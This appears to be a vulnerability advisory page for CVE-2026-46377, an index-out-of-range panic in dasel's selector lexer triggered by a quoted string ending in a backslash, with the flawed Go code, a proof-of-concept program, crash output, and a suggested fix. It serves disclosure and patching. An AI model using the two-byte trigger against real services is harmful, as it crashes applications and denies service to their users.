VYPR
High severity7.5GHSA Advisory· Published May 19, 2026· Updated May 19, 2026

Dasel: Index-out-of-range panic in dasel selector lexer on trailing backslash in quoted string

CVE-2026-46377

Description

Summary

dasel's selector lexer panics with an index-out-of-range error when tokenizing a quoted string that ends with a trailing backslash (e.g., "\ or '\). A 2-byte input causes an immediate process crash via Go runtime panic.

I confirmed the issue on v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8) and on master commit 0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad. I also verified the same code path is present in v3.0.0 (648f83baf070d9e00db8ff312febef857ec090a3). No fix is available yet.

Details

The bug is in the escape sequence handler within (*Tokenizer).parseCurRune in `selector/lexer/tokenize.go#L191-L194`:

if p.src[pos] == '\\' {
    pos++
    buf = append(buf, rune(p.src[pos]))  // line 193: no bounds check
    pos++
    continue
}

When a backslash is the last character inside quotes, pos++ increments the position past the end of the input. The subsequent p.src[pos] attempts to read past the end of the slice, which Go turns into a runtime panic: runtime error: index out of range [2] with length 2.

Notably, the same function already handles unterminated quoted strings by returning UnexpectedEOFError, but the escape sequence path does not perform a similar bounds check.

Minimal trigger: "\ or '\ (2 bytes)

Test environment:

  • MacBook Air (Apple M2), macOS / Darwin arm64
  • Go 1.26.1
  • dasel v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8)

PoC

package main

import (
	"fmt"
	"runtime"
	"runtime/debug"

	"github.com/tomwright/dasel/v3/selector/lexer"
)

func main() {
	fmt.Printf("Go version: %s\n", runtime.Version())
	fmt.Printf("GOARCH: %s\n", runtime.GOARCH)
	fmt.Println()

	for _, input := range []string{`"\`, `'\`} {
		fmt.Printf("Input: %s\n", input)
		func() {
			defer func() {
				if r := recover(); r != nil {
					fmt.Printf("PANIC: %v\n", r)
					debug.PrintStack()
				}
			}()
			t := lexer.NewTokenizer(input)
			tokens, err := t.Tokenize()
			if err != nil {
				fmt.Printf("Error: %v\n", err)
			} else {
				fmt.Printf("OK: %d tokens\n", len(tokens))
			}
		}()
		fmt.Println()
	}
}

Observed output on v3.3.1 in the test environment above:

Go version: go1.26.1
GOARCH: arm64

Input: "\
PANIC: runtime error: index out of range [2] with length 2
goroutine 1 [running]:
...
github.com/tomwright/dasel/v3/selector/lexer.(*Tokenizer).parseCurRune(...)
    .../selector/lexer/tokenize.go:193 +0x1c2c
...

Input: '\
PANIC: runtime error: index out of range [2] with length 2
goroutine 1 [running]:
...
github.com/tomwright/dasel/v3/selector/lexer.(*Tokenizer).parseCurRune(...)
    .../selector/lexer/tokenize.go:193 +0x1c2c
...

Impact

An attacker who can control or influence the selector/query string passed to dasel can trigger a Go runtime panic and crash the process unless the caller explicitly recovers from panics.

The selector string is typically provided by the application developer, but there are deployment scenarios where it may be attacker-influenced: - Web applications using dasel for dynamic data querying - Applications that construct selectors from user input - Shared tooling environments where selectors are passed as parameters

Suggested

Fix

Add a bounds check after incrementing pos past the backslash, consistent with the existing UnexpectedEOFError handling for unterminated quoted strings:

if p.src[pos] == '\\' {
    pos++
    if pos >= p.srcLen {
        return Token{}, &UnexpectedEOFError{Pos: pos}
    }
    buf = append(buf, rune(p.src[pos]))
    pos++
    continue
}

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

dasel's selector lexer panics on a trailing backslash in a quoted string, enabling denial of service via process crash.

Vulnerability

The vulnerability is an index-out-of-range panic in the escape sequence handler of (*Tokenizer).parseCurRune in selector/lexer/tokenize.go (lines 191–194). When a quoted string ends with a backslash (e.g., "\ or '\), the code increments the position past the end of the input slice without a bounds check, causing a Go runtime panic. This affects dasel versions v3.0.0 through v3.3.1 and the master branch as of commit 0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad [1][2].

Exploitation

An attacker can trigger the panic by providing a minimal 2-byte input ("\ or '\) to dasel's selector lexer. No authentication, special privileges, or user interaction beyond supplying the malformed input is required. The input can be delivered via command-line arguments, file content, or any data stream that dasel processes [1][2].

Impact

Successful exploitation causes an immediate process crash due to an unhandled Go runtime panic. This results in a denial of service (availability impact). There is no evidence of information disclosure, data corruption, or remote code execution [1][2].

Mitigation

As of the publication date (2026-05-19), no fix is available. The issue has been confirmed in versions v3.0.0, v3.3.1, and the latest master commit. No workaround has been provided. The vulnerability is not listed in CISA's Known Exploited Vulnerabilities (KEV) catalog. Users should monitor the dasel repository for a patched release [1][2].

AI Insight generated on May 21, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected products

2
  • Tomwright/DaselGHSA2 versions
    >= 3.0.0, <= 3.10.0+ 1 more
    • (no CPE)range: >= 3.0.0, <= 3.10.0
    • (no CPE)range: <=3.3.1

Patches

0

No patches discovered yet.

Vulnerability mechanics

AI mechanics synthesis has not run for this CVE yet.

References

2

News mentions

0

No linked articles in our index yet.